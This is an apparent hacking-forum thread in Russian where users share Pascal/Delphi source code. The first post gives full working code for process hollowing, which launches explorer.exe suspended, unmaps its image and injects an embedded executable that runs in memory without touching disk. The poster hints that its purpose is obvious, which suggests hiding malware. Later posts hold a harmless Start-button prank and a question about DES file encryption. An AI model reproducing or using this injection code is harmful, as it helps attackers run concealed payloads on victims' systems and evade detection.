• XSS.stack #1 – первый литературный журнал от юзеров форума

Исходники

Отслеживать

Amper

(L3) cache
Пользователь
Регистрация
10.08.2005
Сообщения
250
Реакции
3
Сабж.
Никакого флуда, обсуждаем исходники в теме "Обсуждения".
 
Исходник этот не мой но будет полезен для тех кто не в курсе!Позволяет запустить код сразу в памяти не сохраняя его на диск!Легко переводится как вы понимаете и на другие языки,на русский например :) .С explorer сразу не получится но если кое что добавить то будет всё ок!Для чего всё это нужно
говорить понятное дело не требуется!


program project1;

uses
Windows,
rxtypes;

{$R res.res} //Ресурс содержащий запускаемый exe(mem.exe)

Var
nb, i: Cardinal;
function ZwUnmapViewOfSection(SectionHandle: THandle;
p: Pointer): DWord; stdcall; external 'ntdll.dll';
function protect(characteristics: ULONG): ULONG;
const mapping: array [0..7] of ULONG =
( PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, PAGE_EXECUTE_READ,
PAGE_READWRITE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE,
PAGE_EXECUTE_READWRITE);
begin
Result := mapping[characteristics shr 29];
end;
var
pi: TProcessInformation;
si: TStartupInfo;
x, p, q: Pointer;
nt: PIMAGE_NT_HEADERS;
context: TContext;
sect: PIMAGE_SECTION_HEADER;
begin
si.cb := SizeOf(si);
CreateProcess(nil, 'explorer.exe', nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, si, pi);
context.ContextFlags := CONTEXT_INTEGER;
GetThreadContext(pi.hThread, context);
ReadProcessMemory(pi.hProcess,
PCHAR(context.ebx) + 8,
@x, sizeof (x),
nb
);
ZwUnmapViewOfSection(pi.hProcess, x);
p := LockResource(LoadResource(Hinstance, FindResource(Hinstance, 'EXE', RT_RCDATA)));
if p = nil then exit;
nt := PIMAGE_NT_HEADERS(PCHAR(p) + PIMAGE_DOS_HEADER(p).e_lfanew);
q := VirtualAllocEx( pi.hProcess,
Pointer(nt.OptionalHeader.ImageBase),
nt.OptionalHeader.SizeOfImage,
MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, q, p, nt.OptionalHeader.SizeOfHeaders, nb);
sect := PIMAGE_SECTION_HEADER(nt);
Inc(PIMAGE_NT_HEADERS(sect));
for I := 0 to nt.FileHeader.NumberOfSections - 1 do
begin
WriteProcessMemory(pi.hProcess,
PCHAR(q) + sect.VirtualAddress,
PCHAR(p) + sect.PointerToRawData,
sect.SizeOfRawData, nb);
VirtualProtectEx( pi.hProcess,
PCHAR(q) + sect.VirtualAddress,
sect.SizeOfRawData,
protect(sect.Characteristics),
@x);
Inc(sect);
end;
WriteProcessMemory(pi.hProcess, PCHAR(context.Ebx) + 8, @q, sizeof(q), nb);
context.Eax := ULONG(q) + nt.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, context);
ResumeThread(pi.hThread);
end.
 
...и Пуск полетит строго по синусоиде...
Код: 
var H : Hwnd;
start : hwnd;
n,n0,L: integer;
    r : real;
begin
  h := windows.getDesktopWindow();
  start := FindWindowEx(FindWindow('Shell_TrayWnd', nil), 0, 'Button', nil);
  windows.SetParent(start, h);

  n := 0; r := 0.0;
  for L:=0 to 1000 do begin // пролетит L раз
     for n:=0 to 1000 do begin //"длинна" Ох
        r := r + 0.020; //"размах" по Ох
        n0 := Strtoint(formatfloat('0', sin(r)*100));
        start := FindWindow('Button', nil);
        MoveWindow(start, n, (n0+120{a})*3{b}, 100, 32, true); //a - положение Ох, b - "размах" по Оу
        application.ProcessMessages;
     end;
  application.ProcessMessages;
  end;

P.S. Вернёт на место...
Код: 
var H : Hwnd;
start : hwnd;
begin
  h := Findwindow('Shell_TrayWnd',nil);
  start := FindWindow('Button', nil);
  windows.SetParent(start, h);
  MoveWindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil), 0, 'Button', nil), 0, 0, 100, 33, true);
 
СРОЧНО!
:help: Нужно зашифровать файл(любой) алгоритмом DES... может есть у кого исходники(готовое решение)? :help:

ИЛИ

Как перебрать весь файл блоками по 64бита???
 
а чем тебя эти исходники не устраивают?
http://pascal.sources.ru/crypt/jcdes.zip

судя по теме Pascal-based - нужны исходники алгоритма на паскале, я так поняла
 
Ага, да надо прогу написать которая кодировала\декодировала по DES текст(в мемах) и файлы...
сделал "общую функцию" но проблема возникла при записи в файл после обработки (компилятору не нравится что переменная которую записываем в файл имеет тип)... вот хотел посмотреть как это нормально реализовано))
то что ты дала это чистый DES, а надо мне именно DES для файлов... но все равно спасибо!
 
admin


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх